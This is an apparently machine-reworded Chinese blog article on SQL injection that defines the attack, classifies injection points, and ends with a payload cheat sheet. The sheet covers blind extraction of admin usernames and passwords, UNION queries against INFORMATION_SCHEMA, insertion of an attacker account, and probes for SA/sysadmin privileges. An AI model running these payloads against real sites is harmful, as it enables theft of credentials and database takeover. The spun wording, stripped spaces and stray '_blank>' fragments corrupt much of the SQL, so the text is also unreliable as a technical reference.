志在指尖
用双手敲打未来

sql注入(sql注入万能语句)

sql注入

SQL是操作数据库数据的结构化查询言语,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,从而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,产生SQL注入进犯。sql

sql注入万能语句

1.什么是sql注入
经过把SQL指令刺进到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器履行歹意的SQL指令。
2.sql注入类型
依照注入点类型来分类
(1)数字型注入点
许多网页链接有相似的结构http://xxx.com/users.php?id=1根据此种方法的注入,一般被叫做数字型注入点,缘由是其注入点id类型为数字,在大多数的网页中,比方检查用户个人信息,检查文章等,大都会运用这种方法的结构传递id等信息,交给后端,查询出数据库中对应的信息,回来给前台。这一类的SQL句子原型大约为select*from表名whereid=1若存在注入,咱们可以构造出相似与如下的sql注入句子进行爆炸:select*from表名whereid=1and1=1
(2)字符型注入点
网页链接有相似的结构http://xxx.com/users.php?name=admin这种方法,其注入点name类型为字符类型,所以叫字符型注入点。这一类的SQL句子原型大约为select*from表名wherename=’admin’值得注意的是这儿比较于数字型注入类型的sql句子原型多了引号,可以是单引号或者是双引号。若存在注入,咱们可以构造出相似与如下的sql注入句子进行爆炸:select*from表名wherename=’admin’and1=1’咱们需要将这些烦人的引号给处理掉。
(3)查找型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据查找时没过滤查找参数,一般在链接地址中有”keyword=关键字”有的不显现在的链接地址里边,而是直接经过查找框表单提交。此类注入点提交的SQL句子,其原形大致为:select*from表名where字段like’%关键字%’若存在注入,咱们可以构造出相似与如下的sql注入句子进行爆炸:select*from表名where字段like’%测试%’and’%1%’=’%1%’sql注入
依照数据提交的方法来分类
(1)GET注入
提交数据的方法是GET,注入点的方位在GET参数部分。比方有这样的一个链接http://xxx.com/news.php?id=1,id是注入点。
(2)POST注入
运用POST方法提交数据,注入点方位在POST数据部分,常发生在表单中。
(3)Cookie注入
HTTP请求的时候会带上客户端的Cookie,注入点存在Cookie当中的某个字段中。
(4)HTTP头部注入
注入点在HTTP请求头部的某个字段中。比方存在User-Agent字段中。严厉讲的话,Cookie其实应该也是算头部注入的一种方法。因为在HTTP请求的时候,Cookie是头部的一个字段。
依照履行作用来分类
(1)根据布尔的盲注
即可以根据回来页面判别条件真假的注入。
(2)根据时刻的盲注
即不能根据页面回来内容判别任何信息,用条件句子检查时刻延迟句子是否履行(即页面回来时刻是否增加)来判别。
(3)根据报错注入
即页面会回来过错信息,或者把注入的句子的成果直接回来在页面中。
单引号
双引号
根据数字型注入
(4)联合查询注入
可以运用union的情况下的注入。
常用句子
1.判别有无注入点
;and1=1and1=2
2.猜表一般的表的称号无非是adminadminuseruserpasspassword等..
and0<>(selectcount(*)from*)
and0<>(selectcount(*)fromadmin)—判别是否存在admin这张表
3.猜帐号数目如果遇到0<回来正确页面1<回来过错页面说明帐号数目便是1个
and0<(selectcount(*)fromadmin)
and1<(selectcount(*)fromadmin)
4.猜解字段称号在len()括号里边加上咱们想到的字段称号.
and1=(selectcount(*)fromadminwherelen(*)>0)–
and1=(selectcount(*)fromadminwherelen(用户字段称号name)>0)
and1=(selectcount(*)fromadminwherelen(_blank>暗码字段称号password)>0)
5.猜解各个字段的长度猜解长度便是把>0改换直到回来正确页面停止
and1=(selectcount(*)fromadminwherelen(*)>0)
and1=(selectcount(*)fromadminwherelen(name)>6)过错
and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确
and1=(selectcount(*)fromadminwherelen(password)>11)正确
and1=(selectcount(*)fromadminwherelen(password)>12)过错长度是12
and1=(selectcount(*)fromadminwherelen(password)=12)正确
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–
这个查询句子可以猜解中文的用户和_blank>暗码.只要把后边的数字换成中文的ASSIC码就OK.最后把成果再转换成字符.
groupbyusers.idhaving1=1–
groupbyusers.id,users.username,users.password,users.privshaving1=1–
;insertintousersvalues(666,attacker,foobar,0xffff)–
UNIONSELECTTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS
WHERETABLE_blank>_NAME=logintable-
UNIONSELECTTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS
WHERETABLE_blank>_NAME=logintableWHERECOLUMN_blank>_NAMENOTIN(login_blank
>_id)-
UNIONSELECTTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS
WHERETABLE_blank>_NAME=logintableWHERECOLUMN_blank>_NAMENOTIN(login_blank
>_id,login_blank>_name)-
UNIONSELECTTOP1login_blank>_nameFROMlogintable-
UNIONSELECTTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–
看_blank>服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)–
看_blank>数据库衔接账号的权限,回来正常,证明是_blank>服务器角色sysadmin权限。
and1=(SELECTIS_blank>_SRVROLEMEMBER(sysadmin))–
判别衔接_blank>数据库帐号。(选用SA账号衔接回来正常=证明了衔接账号是SA)
andsa=(SELECTSystem_blank>_user)–
anduser_blank>_name()=dbo–
and0<>(selectuser_blank>_name()–

未经允许不得转载:IT技术网站 » sql注入(sql注入万能语句)
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!

 

志在指尖 用双手敲打未来

登录/注册IT技术大全

热门IT技术

C#基础入门   SQL server数据库   系统SEO学习教程   WordPress小技巧   WordPress插件   脚本与源码下载